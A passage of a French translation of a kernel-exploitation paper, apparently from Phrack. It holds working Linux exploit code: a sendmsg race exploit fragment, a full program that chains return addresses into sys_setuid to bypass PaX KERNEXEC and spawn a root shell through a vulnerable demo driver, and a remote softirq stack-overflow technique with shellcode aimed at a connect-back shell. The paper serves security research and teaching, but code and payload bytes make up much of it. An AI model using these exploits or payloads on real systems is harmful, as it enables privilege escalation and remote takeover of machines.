kernel_stub, sizeof(kernel_stub)-1); PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit); } int start_thread_priority(int (*f)(void *), void* arg) { char *stack = malloc(PAGE_SIZE*4); int tid = clone(f, stack + PAGE_SIZE*4 -4, CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); if(tid < 0) fatal_errno("clone", 1); nice(19); sleep(1); return tid; } int race_func(void* noarg) { printf("[*] thread racer getpid()=%d\n", getpid()); while(1) { if(glob_race) { g_ancillary->cmsg_len = 500; return; } } } uint64_t tsc() { uint64_t ret; asm volatile("rdtsc" : "=A"(ret)); return ret; } struct tsc_stamp { uint64_t before; uint64_t after; uint32_t access; }; struct tsc_stamp stamp[128]; inline char *flat_file_mmap(int fs) { void *addr = mmap(MMAP_ADDR, PAGE_SIZE*PAGE_NUM, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fs, 0); if(addr == MAP_FAILED) fatal_errno("mmap", 1); return (char*)addr; } void scan_addr(char *memory) { int i; for(i=1; iaccess, entry->after - entry->before); } void print_result() { int i; for(i=1; imsg_control = ((ancillary + 32*PAGE_SIZE) - sizeof(struct cmsghdr)); msg->msg_controllen = sizeof(struct cmsghdr) * 2; /* set global var thread race ancillary data chunk */ g_ancillary = msg->msg_control; struct cmsghdr* tmp = (struct cmsghdr *)(msg->msg_control); tmp->cmsg_len = sizeof(struct cmsghdr); tmp->cmsg_level = 0; tmp->cmsg_type = 0; tmp++; tmp->cmsg_len = sizeof(struct cmsghdr); tmp->cmsg_level = 0; tmp->cmsg_type = 0; tmp++; memset(tmp, 0x00, 172); } int main() { struct tsc_stamp single_stamp = {0}; struct msghdr msg = {0}; memset(&stamp, 0x00, sizeof(stamp)); int fd = open("/tmp/file", O_RDWR); if(fd == -1) fatal_errno("open", 1); char *addr = flat_file_mmap(fd); fill_ancillary(&msg, addr); munmap(addr, PAGE_SIZE*PAGE_NUM); close(fd); make_kjump(); sync(); printf("Flush all pages and press a enter:)\n"); getchar(); fd = open("/tmp/file", O_RDWR); if(fd == -1) fatal_errno("open", 1); addr = flat_file_mmap(fd); int t_pid = start_thread_priority(race_func, NULL); printf("[*] thread main getpid()=%d\n", getpid()); start_flush_access(addr, 32); int sc[2]; int sp_ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sc); if(sp_ret < 0) fatal_errno("socketpair", 1); single_stamp.access = (uint32_t)g_ancillary; single_stamp.before = tsc(); glob_race =1; sendmsg(sc[0], &msg, 0); single_stamp.after = tsc(); print_single_result(&single_stamp); kill(t_pid, SIGKILL); munmap(addr, PAGE_SIZE*PAGE_NUM); close(fd); return 0; } < / > ------[ 3 - Scénarios avancés Dans une tentative de rendre notre tractation sur le noyau "complète", nous allons discuter de deux "scénarios avancés" : un exploit sur la pile capable de contourner PaX [18] KERNEXEC et une division espace utilisateur/noyau et un exploit distant efficace, les deux pour le noyau Linux. ---[ 3.1 - PaX KERNEXEC & espaces utilisateurs/noyau séparés L'option PaX KERNEXEC émule un bits no-exec pour les pages du noyau sur les architectures qui ne l'ont pas (x86), tandis que la séparation des espaces utilisateurs et noyau bloque l'approche "retour-en-espace-utilisateur" que nous avons énormément expliquée et utilisée plus haut. Avec ces deux protections activées, nous faisons en gros face au même scénario rencontré quand nous avons discuté des envoronnements Solaris/SPARC, nous n'entrerons donc pas dans les détails ici (pour éviter de dupliquer nos tractations). Cette fois, nous n'avons pas de zone mémoire exécutable et contrôlable (pas de tableau u_psarg), et nous allons présenter une technique différence qui ne nécessite pas d'en avoir. Même si l'idée derrière tout ça s'applique bien à tout environnement no-exec et à espace utilisateur/noyau séparés, comme nous le verrons bientôt, cette approche est assez spécifique à l'architecture (gestion de la pile et implémentation des appels et retours de fonctions) et au système d'exploitation (gestion des permissions). De plus, elle requiert une connaissance précise de l'agencement du .text du noyau qui tourne, et donc au moins une image lisible (c'est la situation par défaut sur beaucoup de distributions, sur Solaris, et sur d'autres systèmes que nous avons testés) ou une grosse ou contrôlable fuite d'information. L'idée derrière ça n'est pas très différente de celle derrière "ret-into-libc" ou d'autres approches d'exploitations en mode utilisateur qui tentent de contourner la non-exécution du tas et de la pile : comme on le sait, Linux associe des permissions à chaque processus via des valeurs numériques : < linux-2.6.15/include/linux/sched.h > struct task_struct { [...] /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; [...] } < / > Parfois, un processus à besoin d'élever ses permissions (ou de les quitter, pour des raisons de sécurité), le noyau exporte donc des syscall pour le faire. L'un de ceux-ci est sys_setuid : < linux-2.6.15/kernel/sys.c > asmlinkage long sys_setuid(uid_t uid) { int old_euid = current->euid; int old_ruid, old_suid, new_ruid, new_suid; int retval; retval = security_task_setuid(uid, (uid_t)-1, (uid_t)-1, LSM_SETID_ID); if (retval) return retval; old_ruid = new_ruid = current->uid; old_suid = current->suid; new_suid = old_suid; if (capable(CAP_SETUID)) { [1] if (uid != old_ruid && set_user(uid, old_euid != uid) < 0) return -EAGAIN; new_suid = uid; } else if ((uid != current->uid) && (uid != new_suid)) return -EPERM; if (old_euid != uid) { current->mm->dumpable = suid_dumpable; smp_wmb(); } current->fsuid = current->euid = uid; [2] current->suid = new_suid; key_fsuid_changed(current); proc_id_connector(current, PROC_EVENT_UID); return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_ID); } < / > Comme on peut le voir, les vérifications de "sécurité" (en dehors des points d'entrées LSM security_*) sont effectués en [1] et ensuite, en [2] les valeurs de fsuid et euid sont mises à la valeur passée à la fonction. sys_setuid est un appel système, donc, à cause des conventions sur les appels systèmes, les paramètres sont passés dans les registres. Plus précisément, "uid" sera passé dans "%ebx". Lidée est si simple (et pas différente de "ret-into-libc" [19] ou d'autres techniques d'évasions de protections de pages utilisateur comme [20]), si nous arrivons à avoir un 0 dans "ebx" et de sauter directement au milieu de sys_setuid (et juste après les vérifications) nous devrions être capable de changer le "euid" et le "fsuid" de notre processus et donc, d'élever nos privilèges. Regardons le désassemblage de sys_setuid pour en avoir une meilleure idée : [...] c0120fd0: b8 00 e0 ff ff mov $0xffffe000,%eax [1] c0120fd5: 21 e0 and %esp,%eax c0120fd7: 8b 10 mov (%eax),%edx c0120fd9: 89 9a 6c 01 00 00 mov %ebx,0x16c(%edx) [2] c0120fdf: 89 9a 74 01 00 00 mov %ebx,0x174(%edx) c0120fe5: 8b 00 mov (%eax),%eax c0120fe7: 89 b0 70 01 00 00 mov %esi,0x170(%eax) c0120fed: 6a 01 push $0x1 c0120fef: 8b 44 24 04 mov 0x4(%esp),%eax c0120ff3: 50 push %eax c0120ff4: 55 push %ebp c0120ff5: 57 push %edi c0120ff6: e8 65 ce 0c 00 call c01ede60 c0120ffb: 89 c2 mov %eax,%edx c0120ffd: 83 c4 10 add $0x10,%esp [3] c0121000: 89 d0 mov %edx,%eax c0121002: 5e pop %esi c0121003: 5b pop %ebx c0121004: 5e pop %esi c0121005: 5f pop %edi c0121006: 5d pop %ebp c0121007: c3 ret En [1], la task_struct du processus courant est prise depuis la valeur de la pile noyau. En [2], la valeur de %ebx est copiée dans les membres "euid" et "fsuid" de la structure. Nous avons notre adresse de retour (qui est [1]). À ce point, nous avons besoin de forcer %ebx à valoir 0 (si nous ne sommes pas assez chanceux pour qu'il soit déjà à 0). Pour montrer cette vulnérabilité, nous avons utilisé le débordement de tampon localement exploitatble du driver dummy.c (commande KERN_IOCTL_STORE_CHUNK ioctl()). Puisque c'est un débordement dans la pile, nous pouvons chainer de multiples adresses de retour, préparant un faux cadre de pile que nous contrôlons totalement. Nous avons besoin de : - %ebx à 0 : la façon la plus facile de le faire est de trouver un pop %ebx suivi d'un ret [nous contrôlons la pile] : ret-to-pop-ebx: [*] c0100cd3: 5b pop %ebx [*] c0100cd4: c3 ret Nous n'avons pas besoin d'un pop %ebx suivi immédiatement par un ret, nous pourrions avoir une séquence de pops avant le ret (et, parmis eux, notre pop %ebx). C'est juste une histoire de préparer la bonne place du zéro dans la séquence des pop (pour faire simple, ajouter une séquences de zéros sur 4 octets pour chaque pop entre celui d'%ebx et le ret). - L'adresse de retour où sauter, qui est l'adresse de [1] montrée plus haut - un bourrage de "ret-to-ret" pour faire attention au trou dans la pile créé en [3] par l'épiloque de la fonction (addition d'%esp et le dépilement des registres) : ret-to-ret pad: [*] 0xffffe413 c3 ret (Nous aurions pu utiliser le ret précédent aussi, celui-ci est dans la page vsyscall et a été utilisé dans d'autres exploits où nous n'avions pas besoin de beaucoup d'infos sur le .text du noyau... il a survécu ici :) ) - L'adresse d'une instruction iret pour retourner en espace utilisateur (et un cadre de pile fait main aussi, comme décrit précédement quand on discutait de l'exploitation "basée sur la pile") : ret-to-iret: [*] c013403f: cf iret Mis tout ensemble, voici comment notre "pile" devrait ressembler pour effectuer une exploitation correcte : adresses basses +----------------+ | ret-to-ret pad | | ret-to-ret pad | | .............. | | ret-to-pop ebx | | 0x00000000 | | ret-to-setuid | | ret-to-ret pad | | ret-to-ret pad | | ret-to-ret pad | | ............. | | ............. | | ret-to-iret | | fake-iret-frame| +----------------+ adresses hautes Une fois correctement revenu en espace utilisateur, nous avons réussi a modifier les valeurs de "fsuid" et "euid", mais notre "ruid" est toujours celui original. À ce point, nous nous réexécutons nous-même pour avoit euid=0 et ensuite, lançons le shell. Voici le code : < stuff/expl/grsec_noexec.c > #include #include #include #include #include #include #include #include #include #include "dummy.h" #define DEVICE "/dev/dummy" #define NOP 0x90 #define PAGE_SIZE 0x1000 #define STACK_SIZE 8192 //#define STACK_SIZE 4096 #define STACK_MASK ~(STACK_SIZE -1) /* patch it at runtime */ #define ALTERNATE_STACK 0x00BBBBBB /*2283d*/ #define RET_INTO_RET_STR "\x3d\x28\x02\x00" #define DUMMY RET_INTO_RET_STR #define ZERO "\x00\x00\x00\x00" /* 22ad3 */ #define RET_INTO_POP_EBX "\xd3\x2a\x02\x00" /* 1360 */ #define RET_INTO_IRET "\x60\x13\x00\x00" /* 227fc */ #define RET_INTO_SETUID "\xfc\x27\x02\x00" // do_eip at .text offset (rivedere) // 0804864f #define USER_CODE_OFFSET "\x4f\x86\x04\x08" #define USER_CODE_SEGMENT "\x73\x00\x00\x00" #define USER_EFLAGS "\x46\x02\x00\x00" #define USER_STACK_OFFSET "\xbb\xbb\xbb\x00" #define USER_STACK_SEGMENT "\x7b\x00\x00\x00" /* sys_setuid - grsec kernel */ /* 227fc: 89 e2 mov %esp,%edx 227fe: 89 f1 mov %esi,%ecx 22800: 81 e2 00 e0 ff ff and $0xffffe000,%edx 22806: 8b 02 mov (%edx),%eax 22808: 89 98 50 01 00 00 mov %ebx,0x150(%eax) 2280e: 89 98 58 01 00 00 mov %ebx,0x158(%eax) 22814: 8b 02 mov (%edx),%eax 22816: 89 fa mov %edi,%edx 22818: 89 a8 54 01 00 00 mov %ebp,0x154(%eax) 2281e: c7 44 24 18 01 00 00 movl $0x1,0x18(%esp) 22825: 00 22826: 8b 04 24 mov (%esp),%eax 22829: 5d pop %ebp 2282a: 5b pop %ebx 2282b: 5e pop %esi 2282c: 5f pop %edi 2282d: 5d pop %ebp 2282e: e9 ef d5 0c 00 jmp efe22 22833: 83 ca ff or $0xffffffff,%edx 22836: 89 d0 mov %edx,%eax 22838: 5f pop %edi 22839: 5b pop %ebx 2283a: 5e pop %esi 2283b: 5f pop %edi 2283c: 5d pop %ebp 2283d: c3 ret */ /* pop %ebx, ret grsec * * ffd1a884: 5b pop %ebx * ffd1a885: c3 ret */ char *g_prog_name; char kern_noexec_shellcode[] = RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_POP_EBX ZERO RET_INTO_SETUID RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_IRET USER_CODE_OFFSET USER_CODE_SEGMENT USER_EFLAGS USER_STACK_OFFSET USER_STACK_SEGMENT ; void re_exec(int useless) { char *a[3] = { g_prog_name, "exec", NULL }; execve(g_prog_name, a, NULL); } char *allocate_jump_stack(unsigned int jump_addr, unsigned int size) { unsigned int round_addr = jump_addr & 0xFFFFF000; unsigned int diff = jump_addr - round_addr; unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(map_addr == (char*)-1) return NULL; memset(map_addr, 0x00, len); return map_addr; } char *allocate_jump_code(unsigned int jump_addr, void* code, unsigned int size) { unsigned int round_addr = jump_addr & 0xFFFFF000; unsigned int diff = jump_addr - round_addr; unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0, 0); if(map_addr == (char*)-1) return NULL; memset(map_addr, NOP, len); memcpy(map_addr+diff, code, size); return map_addr + diff; } inline void patch_code_4byte(char *code, unsigned int offset, unsigned int value) { *((unsigned int *)(code + offset)) = value; } int main(int argc, char *argv[]) { if(argc > 1) { int ret; char *argvx[] = {"/bin/sh", NULL}; ret = setuid(0); printf("euid=%d, ret=%d\n", geteuid(), ret); execve("/bin/sh", argvx, NULL); exit(1); } signal(SIGSEGV, re_exec); g_prog_name = argv[0]; char *stack_jump = allocate_jump_stack(ALTERNATE_STACK, PAGE_SIZE); if(!stack_jump) { fprintf(stderr, "Exiting: mmap failed"); exit(1); } char *memory = malloc(PAGE_SIZE), *mem_orig; mem_orig = memory; memset(memory, 0xDD, PAGE_SIZE); struct device_io_ctl *ptr = (struct device_io_ctl*)memory; ptr->chunk_num = 9 + (sizeof(kern_noexec_shellcode)-1)/sizeof(struct device_io_blk) + 1; printf("Chunk num: %d\n", ptr->chunk_num); ptr->type = 0xFFFFFFFF; memory += (sizeof(struct device_io_ctl) + sizeof(struct device_io_blk) * 9); /* copy shellcode */ memcpy(memory, kern_noexec_shellcode, sizeof(kern_noexec_shellcode)-1); int i, fd = open(DEVICE, O_RDONLY); if(fd < 0) return 0; ioctl(fd, KERN_IOCTL_STORE_CHUNK, (unsigned long)mem_orig); return 0; } < / > Comme nous l'avons dit, nous avons choisi les patches de sécurité PaX pour Linux x86, mais certaines théories présentées fonctinonent autant dans d'autres situations. Une approche d'exploitation légèrement différente a été utilisée avec succès sous Solaris/SPARC. (Nous le laissons en "exercice" au lecteur ;)). ---[ 3.2 - Exploitation noyau distante Écrire un exploit noyau distant qui fonctionne et assez fiable est un challenge amusant et intéressant. Continuant dans le "syle" de ce papier, nous allons vous proposer ici une paire de techniques et de "notes" qui nous ont permis de réussir d'écrire un exploit distant quasiment fiable, indépendant de l'image et efficace. Après le premier brouillon de ce papier, une paire de choses ont changé, donc, quelques informations présentées ici peuvent être dépassées dans les tout derniers noyaux (et versions de compilateurs), mais sont de toutes façons des bonnes bases pour notre tractation (nous avons ajouté des notes partout dans cette partie sur les changements et les mises à jours des versions récentes du noyau linux). Une paire d'idées présentées ici ont convergé vers un exploit distant réel pour le débordement distant de tampon dans la pile noyau de madwifi [21], que nous avons déjà publié [22], sans trop examiner les détails de l'approche d'exploitation utilisée. Ce chapitre peut donc être vu comme une introduction ou une extension à ce travail. Plus précisément, nous allons couvrir ici les problèmes d'exploitations et les solutions quand on traite de code s'exécutant dans un contexte d'interruption, ce qui est le cas de la plupart du code relatifs au réseau (gestionnaire d'interruption, softirq, ...) mais ce n'était pas le cas pour madwifi. Ces idées s'appliquent aussi bien au contexte de thread. La technique d'exploitations et la discussion se base sur un débordement de tampon dans la pile pour la branche 2.6 des noyaux linux sur architecture x86, mais nous pouvons réutiliser la plupart des conditions qui nous on permis de contrôler le flux d'instructions. ------[ 3.2.1 - Le combat du réseau Nous commençons par quelques considérations sur la typologie du code noyau sur lequel on va travailler. La plupart de ce code s'exécute dans un contexte d'interruption (et parfois dans un contexte de thread), nous avons donc quelques "limitations" : - Nous ne pouvons pas "retourner-en-espace-utilisateur" directement, puisque nous n'avons pas de pointeur valide de tâche courante. De plus, la plupart du temps, nous ne contrôlerons pas l'espace d'adressage du processus utilisateur avec lequel on discute. Néanmoins, on peut se baser sur quelques points "fixes", comme les en-têtes ELF (en admettant qu'il n'y ait pas de randomisation du PIE / .text sur la box distante) - nous ne pouvons pas faire d'actions qui ferait dormir le chemin noyau (par exemple, un accès fautif en mémoire) - Nous ne pouvons pas faire d'appels systèmes directement - Nous devons prendre en compte la gestions des ressources noyau, puisque ce genre de code acquiert des verroux ou désactive des pré-emptions. Nous devons les restaurer dans un état stable. Logiquement, puisque nous sommes distants, nous n'avons aucune information sur les structures ou les adresses du chemin noyau, donc, puisqu'une bonne fuite d'information est souvent très improbable, on ne peut pas se baser dessus. Nous avons préparé un exemple fait main qui nous permettra d'introduire toutes les techniques impliquées pour résoudre le problème qu'on vient d'introduire. Nous avons choisi d'écrire un module de netfilter, puisqu'une bonne partie du code noyau dépend dessus et qu'il est le cadre de travail principal pour les modules tierce partie. < stuff/drivers/linux/remote/dummy_remote.c > #define MAX_TWSKCHUNK 30 #define TWSK_PROTO 37 struct twsk_chunk { int type; char buff[12]; }; struct twsk { int chunk_num; struct twsk_chunk chunk[0]; }; static int process_twsk_chunk(struct sk_buff *buff) { struct twsk_chunk chunks[MAX_TWSKCHUNK]; struct twsk *ts = (struct twsk *)((char*)buff->nh.iph + (buff->nh.iph->ihl * 4)); if(ts->chunk_num > MAX_TWSKCHUNK) [1] return (NF_DROP); printk(KERN_INFO "Processing TWSK packet: packet frame n. %d\n", ts->chunk_num); memcpy(chunks, ts->chunk, sizeof(struct twsk_chunk) * ts->chunk_num); [2] // do somethings.. return (NF_ACCEPT); } < / > Nous avons un problème de signe en [1], qui lancera plus tard un débordement de tampon en [2], en écrivant au dela du buffer "chunks". Comme on vient de le dire, nous devons tout savoir sur les fonctions vulnérables, c'est à dire, quand elles s'exécutent, sous quel "contexte", qui les appelles, à quoi ressemblerait la pile, y-a-t-il des spinlock [NDT : verroux] ou d'autres objets de synchronisation, ... Un bon point de départ est de dumper une trace de la pile au moment de l'appel de notre fonction : #1 0xc02b5139 in nf_iterate (head=0xc042e4a0, skb=0xc1721ad0, hook=0, [1] indev=0xc1224400, outdev=0x0, i=0xc1721a88, okfn=0xc02bb150 , hook_thresh=-2147483648) at net/netfilter/core.c:89 #2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, [2] indev=0xc1224400, outdev=0x0, okfn=0xc02bb150 , hook_thresh=-2147483648) at net/netfilter/core.c:125 #3 0xc02baee3 in ip_rcv (skb=0xc1bc4a40, dev=0xc1224400, pt=0xc0399310, orig_dev=0xc1224400) at net/ipv4/ip_input.c:348 #4 0xc02a5432 in netif_receive_skb (skb=0xc1bc4a40) at net/core/dev.c:1657 #5 0xc024d3c2 in rtl8139_rx (dev=0xc1224400, tp=0xc1224660, budget=64) at drivers/net/8139too.c:2030 #6 0xc024d70e in rtl8139_poll (dev=0xc1224400, budget=0xc1721b78) at drivers/net/8139too.c:2120 #7 0xc02a5633 in net_rx_action (h=0xc0417078) at net/core/dev.c:1739 #8 0xc0118a75 in __do_softirq () at kernel/softirq.c:95 #9 0xc0118aba in do_softirq () at kernel/softirq.c:129 [3] #10 0xc0118b7d in irq_exit () at kernel/softirq.c:169 #11 0xc0104212 in do_IRQ (regs=0xc1721ad0) at arch/i386/kernel/irq.c:110 #12 0xc0102b0a in common_interrupt () at current.h:9 #13 0x0000110b in ?? () Notre fonction vulnérable (comme n'importe quel autre détournement) est appellée en série par nf_iterate [1], pendant le traitement d'une softirq [3], via l'interface noyau de netfilter nf_look_slow [2]. Elle s'installe dans la chaine INPUT et, donc, elle commence à traiter les paquets à chaque fois qu'ils sont envoyé vers la box hôte, comme on peut le voir à [2] où pf = 2 (PF_INET) et hook = 1 (NF_IP_LOCAL_IN). Notre but final est d'exécuter un bout de code qui établira une connection vers nous (ou lier un port à un shell, ou n'importe quelle sorte de shellcode que vous préfereriez pour votre exploit). Essayer de l'exécuter directement du noyau est évidement une idée douloureuse, nous allons donc essayer d'hijacker un processus utilisateur (souvenez-vous que nous sommes au sommet d'une softirq, nous n'avons aucune connaissance de ce qui est vraiment en dessous de nous; ça pourrait tout autant être un thread noyau une tâche qui idle, par exemple) comme victime, pour y injecter du code et forcer le noyau à l'appeler plus tard, quand nous seront sorti d'un évément asynchrone. Ceci veut dire que nous avons besoin d'étapes intermédiaires entre le moment où on prend le contrôle du flux au "moment du softirq" et l'exécution depuis le processus utilisateur. Mais procédons par ordre, d'abord, nous avons besoin de _commencer d'exécuter_ au moins un point d'entrée dans notre shellcode. Comme il est d'usage dans beaucoup d'exploits qui se battent contre la randomisation d'adresses en l'absence de fuite d'informations, nous alons chercher après une séquence jmp *%esp ou push reg/ret ou call reg, pour commencer l'exécution depuis un endroit connu. Pour éviter de deviner les bonnes valeur, un remplissage (style remplissage de nop) d'adresses ret-into-ret peut être utilisé. Mais nous avons toujours besoin de trouver ces opcodes dans un endroit "fixe" et connu. La branche 2.6 des noyaux introduit une page fixe [*] pour le support d'instruction "sysenter", la page "vsyscall" : bfe37000-bfe4d000 rwxp bfe37000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] Qui se trouve à une adresse fixe : 0xffffe000 - 0xfffff000. [*] Au moment de publier, ceci n'est plus vrai sur les derniers noyaux, puisque l'adresse de la page vsyscall est randomisée à partir des noyaux 2.6.18. La page "vsyscall" est une bénédiction pour notre "point d'entrée" dans le shellcode, puisque nous pouvons y localiser les opcodes requis [*] pour commencer à s'exécuter : (gdb) x/i 0xffffe75f 0xffffe75f: jmp *%esp (gdb) x/i 0xffffe420 0xffffe420: ret [*] Après avoir testé l'adresse de ces opcodes sur un grand nombre de noyaux/compilateurs, nous avons découvert que partois, ils ne se trouvent pas à l'endroit attendu, ou même, dans un cas, pas présent. Ça pourrait être la seule partie de devinette à laquel on devrait faire face (en plus de celui de la randomisation de vsyscall, comme on l'a dit dans la note précédente), mais il y a (en fonction de la situation) d'autres possibilités [début de l'image noyau fixe, .text fixe, ou "processus courant" si nous sommes en dehors du contexte d'interruption, ...]. Pour mieux se rendre compte de l'agencement de la pile après le débordement, voici un petit schéma : +-------------+ | | | | | JMP -N |-------+ # N est la taille du buffer plus quelques | | | octets (chaine de ret-to-ret + jmp space) | | | | ret-to-jmp |<-+ | # l'adresse du jmp *%esp dans vsyscall | | | | | ......... | -+ | | | | | | ret-to-ret | -+ | # l'adresse du "ret" dans vsyscal | | | | | ret-to-ret | -+ | | | | | adresse ret | | # remplissage par ret-to-ret à partir d'ici | écrasée | | | | | | | | | ^ | | | | | | # le shellcode est dans le buffer, parce qu'il | | | est grand, mais il pourrait ausi être | shellcode | | divisé et placé avant et après l'adresse | nop | | de retour | nop |<------+ +-------------+ À ce point, nous contrôlons le flux, mais nous sommes toujours dans le softirq, nous avons donc besoin d'effectuer une paire de tâches pour que notre shellcode qui se connecte s'exécute proprement : - trouver un moyen pour quitter la softirq proprement, puisque nous avons cassé la pile - trouver les objets de gestion des ressources qui ont été modifié (si c'est le cas) et les restaurer vers un état stable - trouver un endroit pour stocker notre shellcode avant sa prochaine exécution dans un "contexte de processus" du chemin noyau - trouver un moyen de forcer ce chemin noyau à exécuter notre shellcode La première étape est la plus difficile (et n'était pas nécessaire dans l'exploit madwifi, puisqu'il n'y avait pas de contexte d'interruption), parce que nous devons écraser le pointeur de retour original et que nous n'avons aucune connaissance sur l'agencement du .text du noyau et de ses adresses. Nous allons maintenant vous présenter des techniques et un shellcode qui fonctionne pour chacun des points précédents. [Notez que nous les avons mentionnés par ordre d'"importance conceptuelle", qui est différent de l'ordre réel d'utilisation dans l'exploit. Plus précisément, elles sont quasiment dans l'ordre inverse, puisque la dernière étape effectuée par le shellcode est en fait de sortir du softirq. Nous trouvons cette approche plus auto-explicative, souvenez-vous juste de cette note pendant les prochains sous-chapitres]. ------[ 3.2.2 - Restauration du flot des cadres de pile Le but de cette technique est de dérouler la pile, chercher après des schéma connus et essayer de reconstruire un cadre de pile d'appel, le status des registres et du pointage d'instruction, juste pour pouvoir continuer le flot normal. Nous avons besoin de restaurer le pointeur de pile à une valeur connue et cohérente, restaurer le contenu des registres pour que le flux d'exécution termine proprement et restaurer tous les verroux ou autres objets de synchro. qui auraient été modifiés par la fonction dans laquelle nous avons débordée et celle dans laquelle on veut retourner. Notre agencemetn de la pile (d'après le dump cité plus haut) devrait ressembler, en gros, à ce qui suit : Agencement de la pile +---------------------+ bas de la pile | | | do_softirq() | | .......... | /* cadre depile de nf_hook_slow() */ | .......... | +------------------------+ | | | argN | | | | ... | | ip_rcv | | arg2 | | nf_hook_slow | =========> | arg1 | | ip_rcv_finish | | ret-to-(ip_rcv()) | | nf_iterate | | saved reg1 | | | | saved reg2 | | | | ...... | | .............. | +------------------------+ | .............. | | process_twsk_chunk | | | +---------------------+ haut de la pile Comme on l'a dit, nous devons trouver une fonction parmis les cadres précédents, pas trop loins de celle qu'on a débordé, ayant un "bon schéma" qui nous aiderait dans nos recherches. Notre meilleur quandidat, dans notre situation, est de vérifier le passage de paramètres : #2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, indev=0xc1224400, outdev=0x0, ....) La fonction "nf_hook_slow()" a une bonne "signature" : - deux dwords consécutifs 0x00000002 et 0x00000002 - deux pointeurs noyaux (dword > 0xC0000000) - un dword NULL qui suit On peut se baser sur le fait que ce schéma sera constant, puisque nous sommes dans la chaine INPUT, traitant les paquets entrant, et donc ayant toujours "outdev" à NULL, pf = 2 et hook = 1. Le passage de paramètres n'est pas toujours la seule "signature" possible : en fonction de la situation, vous pourriez trouver un schéma commun à certaine variable locale (ce qui serait mieux, parce qu'on a découvert que gcc optimise quelques paramètres, en les passants via les registres). En scannant vers l'arrière à partir de du cadre de process_twsk_chunk() vers celui de nf_hook_slow(), on pourra mettre comme valeur d'%esp l'endroit où est sauvegardée l'adresse de retour de nf_hook_slow(), et une fois les conditions correctes recréés, effectuer un "ret" qui nous permettra de terminer proprement. Nous avons dit "une fois les conditions correctes recréés" parce que la fonction pourrait attendre certaines valeurs dans les registres (que nous devons mettre) et pourrait attendre que certains "verroux" ou "ensembles de preemption" différents de ceux que nous avons eu lors de l'exploitation. Notre tâche est donc d'émuler/restaurer toutes ces exigeances. Pour le faire, nous pouvons commencer à vérifier comment gcc restaure les registre pendant l'épilogue de la fonction : c02b6b30 : c02b6b30: 55 push %ebp c02b6b31: 57 push %edi c02b6b32: 56 push %esi c02b6b33: 53 push %ebx [...] c02b6bdb: 89 d8 mov %ebx,%eax c02b6bdd: 5a pop %edx ==+ c02b6bde: 5b pop %ebx | c02b6bdf: 5e pop %esi | restaure c02b6be0: 5f pop %edi | c02b6be1: 5d pop %ebp ==+ c02b6be2: c3 ret Cette sorte d'épilogue, qui est assez commune pour les fonction pas-courtes nous permet de retrouver l'état des regristres sauvegardés. Une fois que nous avons trouvé la valeur du "ret" sur la pile, on peut la "dérouler" en comptant combien de "pop" sont dans le code pour restaurer correctement les registres. [*] [*] Ce n'est bien sûr par la seule possibilité, on peut mettre les valeurs directement avec movl, mais parfois, vous ne pouvez pas utiliser des valeurs "prédefinies" pour ces registres. Comme note complementaire, quelques versions de gcc n'utilisent pas le prologue/épiloque avec des push/pop, mais traduisent le code en séquence de movl (qui demande un comportement différent du shellcode). Pour effectuer le "déroulement" correctement (et donc, localiser la séquence de pop), nous avons besoin de l'adresse noyau de "nf_hook_slow()". Celle-ci n'est pas difficile à calculer puisque nous avons déjà retrouvé son adresse de retour dans la pile (grâce à la signature mentionnée plus haut). Encore une fois, les conventions d'appel de fonction d'Intel nous aident : [...] c02bc8bd: 6a 02 push $0x2 c02bc8bf: e8 6c a2 ff ff call c02b6b30 c02bc8c4: 83 c4 1c add $0x1c,%esp [...] Ce petit extrait de code est pris de ip_rcv(), qui est la fonction appelant nf_hook_slow(). Nous avons trouvé l'adresse de retour sur la pile, qui est 0xc02bc8c4, et donc calculer l'adresse de nf_hook_slow est juste une histoire de calculer le "déplacement" pour un appel relatif (opcode 0xe8, la convention d'appel standard pour les noyaux compilés par gcc) et de l'ajouter à la valeur de l'adresse (la convention d'appel relatif d'Intel ajoute le déplacement vers l'EIP courant) : [*] call to nf_hook_slow -> 0xe8 0x6c 0x2a 0xff 0xff [*] nf_hook_slow address -> 0xc02bc8c4 + 0xffffa26c = 0xc02b6b30 Pour mieux comprendre complètement l'approche de Restauraton du Flux de Cadres de Pile [NDT : Stack Frame Flow Recovery], voici un bout de shellcode qui le fait, avec de courts commentaires : - Nous incrémentons ici le pointeur de pile avec la séquence "pop %eax" et testons la signature connue [ 0x2 0x1 X X 0x0 ]. loop: "\x58" // pop %eax "\x83\x3c\x24\x02" // cmpl $0x2,(%esp) "\x75\xf9" // jne loop "\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp) "\x75\xf2" // jne loop "\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp) "\x75\xeb" // jne loop 